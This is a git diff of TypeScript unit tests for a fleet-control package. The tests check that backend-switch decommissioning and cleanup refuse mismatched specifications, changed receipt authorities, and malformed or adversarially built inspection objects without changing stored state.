+      ...shelllessPriorDesiredOptions
+    } = boundedOptions(priorDesiredStore, priorDesiredProvider, {
+      kind: 'start',
+    });
+    const priorDesiredStarted = await advanceBackendSwitchDecommission(
+      shelllessPriorDesiredOptions,
+    );
+    expect(priorDesiredStarted.status).toBe('pending');
+    const { currentSpec: _activeCurrentSpec, ...activePriorDesiredOptions } =
+      boundedOptions(priorDesiredStore, priorDesiredProvider, {
+        kind: 'start',
+      });
+    await expect(
+      advanceBackendSwitchDecommission(activePriorDesiredOptions),
+    ).resolves.toMatchObject({ status: 'pending' });
+
+    const missingCurrentStore = new MemorySwitchStore();
+    const missingCurrentProvider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(missingCurrentStore, missingCurrentProvider),
+    );
+    bindBoundedDatabase(missingCurrentStore, missingCurrentProvider);
+    missingCurrentStore.record = {
+      ...missingCurrentStore.record,
+      desiredSpecDigest: 'e'.repeat(64),
+    };
+    const { currentSpec: _missingCurrentSpec, ...missingCurrentOptions } =
+      boundedOptions(missingCurrentStore, missingCurrentProvider, {
+        kind: 'start',
+      });
+    const missingCurrentPutCalls = missingCurrentStore.putCalls;
+    await expect(
+      advanceBackendSwitchDecommission(missingCurrentOptions),
+    ).rejects.toThrow(
+      'backend switch decommission requires the exact current specification',
+    );
+    expect(missingCurrentStore.putCalls - missingCurrentPutCalls).toBe(0);
+
+    const blockedAuthorityStore = new MemorySwitchStore();
+    const blockedAuthorityProvider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(blockedAuthorityStore, blockedAuthorityProvider),
+    );
+    bindBoundedDatabase(blockedAuthorityStore, blockedAuthorityProvider);
+    blockedAuthorityProvider.blockScans = true;
+    let blockedAuthority = await advanceBackendSwitchDecommission(
+      boundedOptions(blockedAuthorityStore, blockedAuthorityProvider, {
+        kind: 'start',
+      }),
+    );
+    for (
+      let index = 0;
+      blockedAuthority.status === 'pending' && index < 32;
+      index += 1
+    ) {
+      blockedAuthority = await advanceBackendSwitchDecommission(
+        boundedOptions(blockedAuthorityStore, blockedAuthorityProvider, {
+          kind: 'continue',
+          token: blockedAuthority.token,
+        }),
+      );
+    }
+    if (blockedAuthority.status !== 'blocked') {
+      throw new Error('authority fixture did not block');
+    }
+    for (const [
+      label,
+      action,
+      selectedPrior,
+      selectedTarget,
+      selectedCurrent,
+      message,
+    ] of [
+      [
+        'blocked start prior',
+        { kind: 'start' as const },
+        wrongPriorSpec,
+        targetSpec,
+        targetSpec,
+        'backend switch prior decommission spec differs from durable intent',
+      ],
+      [
+        'blocked start target',
+        { kind: 'start' as const },
+        priorSpec,
+        wrongSpec,
+        targetSpec,
+        'backend switch target decommission spec differs from durable intent',
+      ],
+      [
+        'blocked start current',
+        { kind: 'start' as const },
+        priorSpec,
+        targetSpec,
+        wrongSpec,
+        'backend switch current decommission spec differs from durable intent',
+      ],
+      [
+        'restart blocked prior',
+        { kind: 'restart-blocked' as const, token: blockedAuthority.token },
+        wrongPriorSpec,
+        targetSpec,
+        targetSpec,
+        'backend switch prior decommission spec differs from durable intent',
+      ],
+      [
+        'restart blocked target',
+        { kind: 'restart-blocked' as const, token: blockedAuthority.token },
+        priorSpec,
+        wrongSpec,
+        targetSpec,
+        'backend switch target decommission spec differs from durable intent',
+      ],
+      [
+        'restart blocked current',
+        { kind: 'restart-blocked' as const, token: blockedAuthority.token },
+        priorSpec,
+        targetSpec,
+        wrongSpec,
+        'backend switch current decommission spec differs from durable intent',
+      ],
+    ] as const) {
+      await expectAuthorityRefusal({
+        label,
+        selectedStore: blockedAuthorityStore,
+        selectedProvider: blockedAuthorityProvider,
+        action,
+        selectedPrior,
+        selectedTarget,
+        selectedCurrent,
+        message,
+      });
+    }
+
+    const receiptStore = new MemorySwitchStore();
+    const receiptProvider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(receiptStore, receiptProvider),
+    );
+    bindBoundedDatabase(receiptStore, receiptProvider);
+    let receiptResult = await advanceBackendSwitchDecommission(
+      boundedOptions(receiptStore, receiptProvider, { kind: 'start' }),
+    );
+    for (
+      let index = 0;
+      receiptStore.record.decommissionIntent?.databaseExportReceiptAuthority ===
+        undefined &&
+      receiptResult.status === 'pending' &&
+      index < 32;
+      index += 1
+    ) {
+      receiptResult = await advanceBackendSwitchDecommission(
+        boundedOptions(receiptStore, receiptProvider, {
+          kind: 'continue',
+          token: receiptResult.token,
+        }),
+      );
+    }
+    expect(
+      receiptStore.record.decommissionIntent?.databaseExportReceiptAuthority,
+    ).toBe('test-receipts');
+    Object.defineProperty(receiptProvider, 'databaseExportReceiptAuthority', {
+      configurable: true,
+      value: 'changed-receipts',
+    });
+    await expectAuthorityRefusal({
+      label: 'active start selected receipt',
+      selectedStore: receiptStore,
+      selectedProvider: receiptProvider,
+      action: { kind: 'start' },
+      selectedCurrent: targetSpec,
+      message:
+        'database export receipt authority differs from configured authority',
+    });
+    if (receiptResult.status !== 'pending') {
+      throw new Error('receipt authority fixture has no current token');
+    }
+    await expectAuthorityRefusal({
+      label: 'current work selected receipt',
+      selectedStore: receiptStore,
+      selectedProvider: receiptProvider,
+      action: { kind: 'continue', token: receiptResult.token },
+      selectedCurrent: targetSpec,
+      message:
+        'database export receipt authority differs from configured authority',
+    });
+    Object.defineProperty(receiptProvider, 'databaseExportReceiptAuthority', {
+      configurable: true,
+      value: 'test-receipts',
+    });
+    receiptProvider.blockScans = true;
+    const receiptBlocked = await advanceBackendSwitchDecommission(
+      boundedOptions(receiptStore, receiptProvider, {
+        kind: 'continue',
+        token: receiptResult.token,
+      }),
+    );
+    if (receiptBlocked.status !== 'blocked') {
+      throw new Error('selected receipt authority fixture did not block');
+    }
+    Object.defineProperty(receiptProvider, 'databaseExportReceiptAuthority', {
+      configurable: true,
+      value: 'changed-receipts',
+    });
+    for (const [label, action] of [
+      ['blocked start selected receipt', { kind: 'start' as const }],
+      [
+        'restart blocked selected receipt',
+        { kind: 'restart-blocked' as const, token: receiptBlocked.token },
+      ],
+    ] as const) {
+      await expectAuthorityRefusal({
+        label,
+        selectedStore: receiptStore,
+        selectedProvider: receiptProvider,
+        action,
+        selectedCurrent: targetSpec,
+        message:
+          'database export receipt authority differs from configured authority',
+      });
+    }
+
+    const pendingCurrentSpec = {
+      ...targetSpec,
+      authoredBy: 'platform' as const,
+      durableObjectMigrations: [{ tag: 'v1', newClasses: ['Alpha', 'Runner'] }],
+      durableObjectBindings: [
+        { name: 'ALPHA', className: 'Alpha' },
+        { name: 'RUNNER', className: 'Runner' },
+      ],
+      egressProxyService: 'egress-service',
+      queueProducer: { binding: 'EVENTS', queueName: 'events' },
+      application: {
+        vars: [{ name: 'APP_VAR', value: 'application-value' }],
+        secrets: [{ name: 'APP_SECRET', valueSha256: 'c'.repeat(64) }],
+        r2Buckets: [],
+      },
+    } satisfies DeploymentSpec;
+    const pendingInspection = {
+      application: applicationBindingTopology(pendingCurrentSpec, []),
+      artifactVersion: 'pending-v2',
+      databaseIds: [BOUNDED_DATABASE_ID],
+      durableObjectBindings: [
+        {
+          name: 'ALPHA',
+          className: 'Alpha',
+          namespaceId: 'namespace-z',
+        },
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          namespaceId: 'namespace-a',
+        },
+      ],
+      queueProducerBindings: [{ name: 'EVENTS', queueName: 'events' }],
+      secretNames: [
+        'APP_SECRET',
+        'DEPLOYMENT_IDENTITY_SECRET',
+        'MAINTENANCE_ADMIN_SECRET',
+      ],
+      serviceBindings: [{ name: 'EGRESS_PROXY', service: 'egress-service' }],
+      specDigest: deploymentSpecDigest(pendingCurrentSpec),
+    };
+    const pendingEntry = async (
+      inspection: unknown,
+      recordApplication = applicationBindingTopology(pendingCurrentSpec, []),
+    ) => {
+      const pendingStore = new MemorySwitchStore();
+      const pendingProvider = new BoundedFakeSwitchProvider();
+      await switchPlainDeploymentToWorkersForPlatforms(
+        switchOptions(pendingStore, pendingProvider),
+      );
+      bindBoundedDatabase(pendingStore, pendingProvider);
+      const switchIntent = pendingStore.intent;
+      if (!switchIntent) throw new Error('switch intent is missing');
+      pendingStore.record = {
+        tenantTag: priorSpec.tenantTag,
+        environment: priorSpec.environment,
+        backend: 'plain-worker',
+        scriptName: priorSpec.scriptName,
+        databaseId: BOUNDED_DATABASE_ID,
+        databaseName: priorSpec.databaseName,
+        schemaVersion: priorSpec.schemaVersion,
+        artifactVersion: 'plain-v1',
+        desiredSpecDigest: deploymentSpecDigest(targetSpec),
+        pendingSpecDigest: deploymentSpecDigest(pendingCurrentSpec),
+        pendingArtifactVersion: 'pending-v2',
+        applicationBindings: recordApplication,
+        durableObjectBindings: [],
+        routeHostname: priorSpec.routeHostname,
+        phase: 'migrating',
+        updatedAt: pendingStore.record.updatedAt,
+        backendSwitchIntent: switchIntent,
+      };
+      Object.defineProperty(
+        pendingProvider,
+        'captureSwitchEntryPendingArtifact',
+        {
+          configurable: true,
+          value: async () => inspection,
+        },
+      );
+      return { pendingStore, pendingProvider };
+    };
+    const validPending = await pendingEntry(pendingInspection);
+    await expect(
+      advanceBackendSwitchDecommission({
+        ...boundedOptions(
+          validPending.pendingStore,
+          validPending.pendingProvider,
+          { kind: 'start' },
+        ),
+        currentSpec: pendingCurrentSpec,
+      }),
+    ).resolves.toMatchObject({ status: 'pending' });
+    expect(
+      validPending.pendingStore.intent?.decommissionSnapshot
+        ?.entryPendingNamespaceIds,
+    ).toEqual(['namespace-a', 'namespace-z']);
+
+    let hostileGetterCalls = 0;
+    let hostileProxyGetCalls = 0;
+    const withoutApplication = { ...pendingInspection } as Partial<
+      typeof pendingInspection
+    >;
+    Reflect.deleteProperty(withoutApplication, 'application');
+    const accessorInspection = { ...pendingInspection };
+    Object.defineProperty(accessorInspection, 'artifactVersion', {
+      configurable: true,
+      enumerable: true,
+      get() {
+        hostileGetterCalls += 1;
+        return 'pending-v2';
+      },
+    });
+    const cyclicInspection = structuredClone(
+      pendingInspection,
+    ) as unknown as Record<string, unknown>;
+    cyclicInspection.application = cyclicInspection;
+    let deepApplication: unknown = { value: 'leaf' };
+    for (let depth = 0; depth < 70; depth += 1) {
+      deepApplication = { value: deepApplication };
+    }
+    const oversizedPendingArtifactVersion = 'x'.repeat(4 * 1024 * 1024 + 1);
+    const pendingCases: readonly Readonly<{
+      label: string;
+      inspection: unknown;
+      recordApplication?: import('../src/types.js').ApplicationBindingTopology;
+    }>[] = [
+      { label: 'missing top-level key', inspection: withoutApplication },
+      {
+        label: 'extra top-level key',
+        inspection: { ...pendingInspection, extra: true },
+      },
+      {
+        label: 'symbol top-level key',
+        inspection: { ...pendingInspection, [Symbol('extra')]: true },
+      },
+      {
+        label: 'artifact version',
+        inspection: { ...pendingInspection, artifactVersion: 'foreign-v2' },
+      },
+      {
+        label: 'spec digest',
+        inspection: { ...pendingInspection, specDigest: 'f'.repeat(64) },
+      },
+      {
+        label: 'database identifier',
+        inspection: { ...pendingInspection, databaseIds: ['foreign-db'] },
+      },
+      {
+        label: 'extra database identifier',
+        inspection: {
+          ...pendingInspection,
+          databaseIds: [BOUNDED_DATABASE_ID, 'foreign-db'],
+        },
+      },
+      {
+        label: 'durable binding name',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: pendingInspection.durableObjectBindings.map(
+            (binding, index) =>
+              index === 0 ? { ...binding, name: 'FOREIGN' } : binding,
+          ),
+        },
+      },
+      {
+        label: 'durable binding class',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: pendingInspection.durableObjectBindings.map(
+            (binding, index) =>
+              index === 0 ? { ...binding, className: 'Foreign' } : binding,
+          ),
+        },
+      },
+      {
+        label: 'durable binding script selector',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: pendingInspection.durableObjectBindings.map(
+            (binding, index) =>
+              index === 0
+                ? { ...binding, scriptName: 'foreign-worker' }
+                : binding,
+          ),
+        },
+      },
+      {
+        label: 'durable binding dispatch selector',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: pendingInspection.durableObjectBindings.map(
+            (binding, index) =>
+              index === 0
+                ? { ...binding, dispatchNamespace: 'foreign-dispatch' }
+                : binding,
+          ),
+        },
+      },
+      {
+        label: 'empty namespace identifier',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: pendingInspection.durableObjectBindings.map(
+            (binding, index) =>
+              index === 0 ? { ...binding, namespaceId: '' } : binding,
+          ),
+        },
+      },
+      {
+        label: 'duplicate namespace identifier',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: pendingInspection.durableObjectBindings.map(
+            (binding) => ({ ...binding, namespaceId: 'namespace-a' }),
+          ),
+        },
+      },
+      {
+        label: 'noncanonical binding-name order',
+        inspection: {
+          ...pendingInspection,
+          durableObjectBindings: [
+            ...pendingInspection.durableObjectBindings,
+          ].reverse(),
+        },
+      },
+      {
+        label: 'service binding name',
+        inspection: {
+          ...pendingInspection,
+          serviceBindings: [{ name: 'FOREIGN', service: 'egress-service' }],
+        },
+      },
+      {
+        label: 'service binding service',
+        inspection: {
+          ...pendingInspection,
+          serviceBindings: [
+            { name: 'EGRESS_PROXY', service: 'foreign-service' },
+          ],
+        },
+      },
+      {
+        label: 'service binding entrypoint',
+        inspection: {
+          ...pendingInspection,
+          serviceBindings: [
+            {
+              name: 'EGRESS_PROXY',
+              service: 'egress-service',
+              entrypoint: 'ForeignEntrypoint',
+            },
+          ],
+        },
+      },
+      {
+        label: 'service binding extra key',
+        inspection: {
+          ...pendingInspection,
+          serviceBindings: [
+            { name: 'EGRESS_PROXY', service: 'egress-service', extra: true },
+          ],
+        },
+      },
+      {
+        label: 'queue binding name',
+        inspection: {
+          ...pendingInspection,
+          queueProducerBindings: [{ name: 'FOREIGN', queueName: 'events' }],
+        },
+      },
+      {
+        label: 'queue binding queue',
+        inspection: {
+          ...pendingInspection,
+          queueProducerBindings: [
+            { name: 'EVENTS', queueName: 'foreign-events' },
+          ],
+        },
+      },
+      {
+        label: 'queue binding extra key',
+        inspection: {
+          ...pendingInspection,
+          queueProducerBindings: [
+            { name: 'EVENTS', queueName: 'events', extra: true },
+          ],
+        },
+      },
+      {
+        label: 'missing secret',
+        inspection: {
+          ...pendingInspection,
+          secretNames: pendingInspection.secretNames.slice(1),
+        },
+      },
+      {
+        label: 'noncanonical secret order',
+        inspection: {
+          ...pendingInspection,
+          secretNames: [...pendingInspection.secretNames].reverse(),
+        },
+      },
+      {
+        label: 'extra secret',
+        inspection: {
+          ...pendingInspection,
+          secretNames: [...pendingInspection.secretNames, 'FOREIGN_SECRET'],
+        },
+      },
+      {
+        label: 'application topology',
+        inspection: {
+          ...pendingInspection,
+          application: {
+            ...pendingInspection.application,
+            vars: [{ name: 'APP_VAR', value: 'changed' }],
+          },
+        },
+      },
+      {
+        label: 'record application topology',
+        inspection: pendingInspection,
+        recordApplication: {
+          ...pendingInspection.application,
+          vars: [{ name: 'APP_VAR', value: 'changed' }],
+        },
+      },
+      { label: 'hostile accessor', inspection: accessorInspection },
+      {
+        label: 'hostile transparent proxy',
+        inspection: new Proxy(structuredClone(pendingInspection), {
+          get(target, key, receiver) {
+            hostileProxyGetCalls += 1;
+            return Reflect.get(target, key, receiver);
+          },
+        }),
+      },
+      { label: 'hostile cycle', inspection: cyclicInspection },
+      {
+        label: 'depth bound',
+        inspection: { ...pendingInspection, application: deepApplication },
+      },
+      {
+        label: 'node bound',
+        inspection: {
+          ...pendingInspection,
+          application: Array.from({ length: 65_537 }, () => null),
+        },
+      },
+      {
+        label: 'scalar bound',
+        inspection: {
+          ...pendingInspection,
+          artifactVersion: oversizedPendingArtifactVersion,
+        },
+      },
+      {
+        label: 'serialized bound',
+        inspection: {
+          ...pendingInspection,
+          application: Array.from({ length: 60_000 }, () => 'x'.repeat(67)),
+        },
+      },
+    ];
+    for (const { label, inspection, recordApplication } of pendingCases) {
+      const malformedPending = await pendingEntry(
+        inspection,
+        recordApplication,
+      );
+      const beforePutCalls = malformedPending.pendingStore.putCalls;
+      const beforeRecord = structuredClone(
+        malformedPending.pendingStore.record,
+      );
+      const beforeProvider = {
+        calls: [...malformedPending.pendingProvider.calls],
+        scanCalls: malformedPending.pendingProvider.scanCalls,
+        receiptCalls: malformedPending.pendingProvider.receiptCalls,
+        boundedDeleteCalls: malformedPending.pendingProvider.boundedDeleteCalls,
+      };
+      let clockCalls = 0;
+      let uuidCalls = 0;
+      const encode =
+        label === 'scalar bound'
+          ? vi.spyOn(TextEncoder.prototype, 'encode')
+          : undefined;
+      try {
+        await expect(
+          advanceBackendSwitchDecommission({
+            ...boundedOptions(
+              malformedPending.pendingStore,
+              malformedPending.pendingProvider,
+              { kind: 'start' },
+            ),
+            currentSpec: pendingCurrentSpec,
+            clock: () => {
+              clockCalls += 1;
+              return Date.parse('2026-08-13T00:00:00.000Z');
+            },
+            randomUUID: () => {
+              uuidCalls += 1;
+              return '123e4567-e89b-42d3-a456-426614174000';
+            },
+          }),
+          label,
+        ).rejects.toThrow(
+          'backend switch pending artifact inspection is malformed',
+        );
+        if (encode) {
+          const serializedOversizedScalar = JSON.stringify(
+            oversizedPendingArtifactVersion,
+          );
+          expect(
+            encode.mock.calls.some(
+              ([value]) => value === serializedOversizedScalar,
+            ),
+            label,
+          ).toBe(false);
+        }
+      } finally {
+        encode?.mockRestore();
+      }
+      expect(
+        malformedPending.pendingStore.putCalls - beforePutCalls,
+        label,
+      ).toBe(0);
+      expect(malformedPending.pendingStore.record, label).toEqual(beforeRecord);
+      expect(
+        {
+          calls: malformedPending.pendingProvider.calls,
+          scanCalls: malformedPending.pendingProvider.scanCalls,
+          receiptCalls: malformedPending.pendingProvider.receiptCalls,
+          boundedDeleteCalls:
+            malformedPending.pendingProvider.boundedDeleteCalls,
+        },
+        label,
+      ).toEqual(beforeProvider);
+      expect(clockCalls, label).toBe(0);
+      expect(uuidCalls, label).toBe(0);
+    }
+    expect(hostileGetterCalls).toBe(0);
+    expect(hostileProxyGetCalls).toBe(1);
+  });
+
+  it('resumes one release or bridge action after provider and Fleet response loss', async () => {
+    const store = new MemorySwitchStore();
+    const provider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(store, provider),
+    );
+    bindBoundedDatabase(store, provider);
+    let result = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, { kind: 'start' }),
+    );
+    if (result.status !== 'pending') throw new Error('missing start token');
+    result = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, {
+        kind: 'continue',
+        token: result.token,
+      }),
+    );
+    if (result.status !== 'pending') throw new Error('missing traffic token');
+    provider.failReleaseDeleteResponseOnce = true;
+    await expect(
+      advanceBackendSwitchDecommission(
+        boundedOptions(store, provider, {
+          kind: 'continue',
+          token: result.token,
+        }),
+      ),
+    ).rejects.toThrow('release delete response lost');
+    expect(store.intent?.decommissionSnapshot?.releases[0]?.subphase).toBe(
+      'delete-authorized',
+    );
+
+    const completed = await decommissionBackendSwitch({
+      store,
+      provider,
+      priorSpec,
+      targetSpec,
+      currentSpec: targetSpec,
+    });
+    expect(completed.subphase).toBe('decommissioned');
+    expect(provider.releaseDeleteMutations.get('acme-candidate')).toBe(1);
+  });
+
+  it('consumes matching R2 verification one resource at a time', async () => {
+    const application = {
+      vars: [],
+      secrets: [],
+      r2Buckets: [{ name: 'FILES', jurisdiction: 'default' as const }],
+    };
+    const selectedPriorSpec: DeploymentSpec = {
+      ...priorSpec,
+      application,
+    };
+    const selectedTargetSpec: DeploymentSpec = {
+      ...targetSpec,
+      application,
+    };
+    const resource = switchApplicationR2Resource(
+      'FILES',
+      'default',
+      '2026-08-11T00:00:00.000Z',
+    );
+    const store = new MemorySwitchStore();
+    const provider = new BoundedFakeSwitchProvider();
+    store.record = {
+      ...store.record,
+      desiredSpecDigest: deploymentSpecDigest(selectedPriorSpec),
+      applicationResources: [resource],
+      applicationBindings: applicationBindingTopology(selectedPriorSpec, [
+        resource,
+      ]),
+    };
+    provider.applicationResources = [resource];
+    provider.r2Buckets.set(resource.bucketName, resource);
+    await switchPlainDeploymentToWorkersForPlatforms({
+      ...switchOptions(store, provider),
+      priorSpec: selectedPriorSpec,
+      targetSpec: selectedTargetSpec,
+    });
+    bindBoundedDatabase(store, provider);
+    store.record = {
+      ...store.record,
+      applicationResources: [resource],
+      applicationBindings: applicationBindingTopology(selectedTargetSpec, [
+        resource,
+      ]),
+    };
+
+    const completed = await driveBoundedSwitch(
+      store,
+      provider,
+      selectedTargetSpec,
+      selectedPriorSpec,
+    );
+    expect(completed.result.record.applicationResources).toMatchObject([
+      { name: 'FILES', state: 'deleted' },
+    ]);
+    expect(provider.r2Buckets.size).toBe(0);
+    expect(provider.scanCalls).toBe(6);
+  });
+
+  it('converges receipt export and fenced D1 deletion without adopting legacy export authorization', async () => {
+    const store = new MemorySwitchStore();
+    const provider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(store, provider),
+    );
+    bindBoundedDatabase(store, provider);
+
+    const completed = await driveBoundedSwitch(store, provider);
+    expect(completed.result).toMatchObject({
+      record: { phase: 'decommissioned' },
+      databaseExport: {
+        location: 'r2://exports/acme-bounded.sql',
+        sha256: '6'.repeat(64),
+        size: 456,
+      },
+    });
+    expect(provider.receiptCalls).toBe(1);
+    expect(provider.boundedDeleteCalls).toBe(1);
+    expect(provider.calls).not.toContain('decommission-export');
+    expect(provider.calls).not.toContain('decommission-database');
+
+    let terminalCapabilityReads = 0;
+    Object.defineProperty(provider, 'advanceSwitchDecommissionAttachmentScan', {
+      configurable: true,
+      get() {
+        terminalCapabilityReads += 1;
+        throw new Error('terminal capability getter must stay inert');
+      },
+    });
+    await expect(
+      decommissionBackendSwitch({
+        store,
+        provider,
+        priorSpec,
+        targetSpec,
+        currentSpec: targetSpec,
+      }),
+    ).resolves.toMatchObject({ subphase: 'decommissioned' });
+    expect(terminalCapabilityReads).toBe(0);
+    for (const [label, selectedPrior] of [
+      [
+        'completed prior digest',
+        {
+          ...priorSpec,
+          modules: [
+            { name: 'worker.js', content: 'export default { changed: true }' },
+          ],
+        },
+      ],
+      [
+        'completed prior route',
+        { ...priorSpec, routeHostname: 'foreign.example.test' },
+      ],
+    ] as const) {
+      const beforePutCalls = store.putCalls;
+      const beforeProviderCalls = [...provider.calls];
+      const beforeRecord = structuredClone(store.record);
+      await expect(
+        decommissionBackendSwitch({
+          store,
+          provider,
+          priorSpec: selectedPrior,
+          targetSpec,
+          currentSpec: targetSpec,
+        }),
+        label,
+      ).rejects.toThrow(
+        'backend switch prior decommission spec differs from durable intent',
+      );
+      expect(store.putCalls - beforePutCalls, label).toBe(0);
+      expect(store.record, label).toEqual(beforeRecord);
+      expect(provider.calls, label).toEqual(beforeProviderCalls);
+      expect(terminalCapabilityReads, label).toBe(0);
+    }
+
+    const lateStore = new MemorySwitchStore();
+    const lateProvider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(lateStore, lateProvider),
+    );
+    bindBoundedDatabase(lateStore, lateProvider);
+    await advanceBackendSwitchDecommission(
+      boundedOptions(lateStore, lateProvider, { kind: 'start' }),
+    );
+    const lateIntent = lateStore.intent as BackendSwitchIntent;
+    const { decommissionIntent: _lateShell, ...lateRecord } = lateStore.record;
+    lateStore.record = {
+      ...lateRecord,
+      phase: 'decommissioning',
+      backendSwitchIntent: {
+        ...lateIntent,
+        subphase: 'decommission-export-authorized',
+      },
+    };
+    let lateCapabilityReads = 0;
+    Object.defineProperty(
+      lateProvider,
+      'advanceSwitchDecommissionAttachmentScan',
+      {
+        configurable: true,
+        get() {
+          lateCapabilityReads += 1;
+          throw new Error('late compatibility must not read capabilities');
+        },
+      },
+    );
+    await expect(
+      advanceBackendSwitchDecommission(
+        boundedOptions(lateStore, lateProvider, { kind: 'start' }),
+      ),
+    ).rejects.toThrow(
+      'bounded backend-switch decommission cannot adopt shell-less legacy D1 authorization',
+    );
+    expect(lateCapabilityReads).toBe(0);
+    await expect(
+      decommissionBackendSwitch({
+        store: lateStore,
+        provider: lateProvider,
+        priorSpec,
+        targetSpec,
+        currentSpec: targetSpec,
+      }),
+    ).resolves.toMatchObject({ subphase: 'decommissioned' });
+    expect(lateCapabilityReads).toBe(0);
+    expect(lateProvider.calls).toContain('decommission-export');
+    expect(lateProvider.calls).toContain('decommission-database');
+  });
+  it('refuses backend switch decommission shells during an active cleanup', () => {
+    const record = {
+      tenantTag: 'acme',
+      environment: 'production',
+      backend: 'workers-for-platforms',
+      scriptName: 'acme-production',
+      databaseId: '00000000-0000-0000-0000-000000000001',
+      databaseName: 'acme-production',
+      schemaVersion: 1,
+      artifactVersion: 'artifact-v1',
+      desiredSpecDigest: 'a'.repeat(64),
+      durableObjectBindings: [],
+      routeHostname: 'acme.example.test',
+      phase: 'cleanup-advancing',
+      updatedAt: '2026-08-29T00:00:00.000Z',
+      cleanupIntent: {
+        version: 1,
+        operationId: '12345678-1234-4abc-8def-1234567890ab',
+        revision: 0,
+        generation: 0,
+        updatedAt: '2026-08-29T00:00:00.000Z',
+        authority: { kind: 'manual-cleanup' },
+        identity: {
+          record: {
+            tenantTag: 'acme',
+            environment: 'production',
+            backend: 'workers-for-platforms',
+            scriptName: 'acme-production',
+            databaseId: '00000000-0000-0000-0000-000000000001',
+            databaseName: 'acme-production',
+            routeHostname: 'acme.example.test',
+          },
+          admittedPhase: 'worker-deployed',
+          externalArtifact: true,
+        },
+        state: { step: 'teardown-traffic' },
+      },
+    } as const satisfies import('../src/types.js').FleetRecord;
+    expect(() =>
+      backendSwitchDecommissionShell({
+        record,
+        intent: {} as never,
+        operationId: '12345678-1234-4abc-8def-1234567890ab',
+        snapshotSha256: 'a'.repeat(64),
+        entrySubphase: 'decommission-database' as never,
+        now: '2026-08-29T00:00:00.000Z',
+      }),
+    ).toThrow('cannot run during an active cleanup');
+  });
 });
diff --git a/packages/fleet-control/test/cleanup-advance.test.ts b/packages/fleet-control/test/cleanup-advance.test.ts
new file mode 100644
index 00000000..9d7301b2
--- /dev/null
+++ b/packages/fleet-control/test/cleanup-advance.test.ts
@@ -0,0 +1,1708 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import { reserveApplicationR2Resources } from '../src/application-bindings.js';
+import {
+  type AdvanceCleanupDeploymentOptions,
+  advanceCleanupDeployment,
+  advanceCleanupUnderLease,
+  CleanupAdvanceCapabilityError,
+  CleanupAdvanceRestartError,
+  type CleanupAdvanceResult,
+  startProvisioningRollbackCleanup,
+} from '../src/cleanup-advance.js';
+import {
+  CleanupAdvanceTokenDeploymentError,
+  CleanupAdvanceTokenFutureError,
+  CleanupAdvanceTokenOperationError,
+  normalizeCleanupAdvanceIntent,
+} from '../src/cleanup-intent.js';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
+import { advanceDecommissionDeployment } from '../src/decommission-advance.js';
+import { DecommissionAdvanceTokenOperationError } from '../src/decommission-intent.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type {
+  ApplicationR2BucketSnapshot,
+  ApplicationR2Resource,
+  CleanupAdvanceIntent,
+  CleanupAdvanceState,
+  CleanupAdvanceToken,
+  CleanupAuthority,
+  CleanupTerminalReceipt,
+  DatabaseReference,
+  DecommissionAdvanceIntent,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
+  DeploymentSpec,
+  ExternalPlatformResources,
+  FleetRecord,
+  FleetStateLease,
+  FleetStateStore,
+  InitialExecutionFenceState,
+  InvocationAuthorityCarrier,
+  ProvisioningBackend,
+  ProvisioningBackendKind,
+  ProvisioningPhase,
+  SeedDeploymentIdentityOptions,
+} from '../src/types.js';
+
+const DATABASE_ID = '00000000-0000-0000-0000-000000000101';
+const OPERATION_ID = '11111111-1111-4111-8111-111111111111';
+const OTHER_OPERATION_ID = '33333333-3333-4333-8333-333333333333';
+const NOW = '2026-08-29T12:00:00.000Z';
+const AUTHORIZED_AT = '2026-08-29T13:00:00.000Z';
+const EVIDENCE_A = 'a'.repeat(64);
+const EVIDENCE_B = 'b'.repeat(64);
+const CREATION_DATE = '2026-08-01T00:00:00.000Z';
+const MAINTENANCE_PUBLIC_KEY =
+  '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}';
+
+function unexpectedUUID(): string {
+  throw new Error('unexpected new operation id');
+}
+
+function spec(overrides: Partial<DeploymentSpec> = {}): DeploymentSpec {
+  return {
+    tenantTag: 'acme',
+    environment: 'production',
+    scriptName: 'acme-production',
+    databaseName: 'acme-production',
+    compatibilityDate: '2026-08-10',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'platform',
+    schemaVersion: 3,
+    migrations: [
+      { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' },
+      { version: 2, sql: 'ALTER TABLE example ADD COLUMN value TEXT' },
+      { version: 3, sql: 'ALTER TABLE example ADD COLUMN note TEXT' },
+    ],
+    durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }],
+    durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }],
+    egressProxyService: 'fleet-egress-proxy',
+    maintenanceBaseUrl: 'https://control-acme.example.test',
+    routeHostname: 'acme.example.test',
+    ...overrides,
+  };
+}
+
+function r2Spec(): DeploymentSpec {
+  return spec({
+    application: { vars: [], secrets: [], r2Buckets: [{ name: 'DATA' }] },
+  });
+}
+
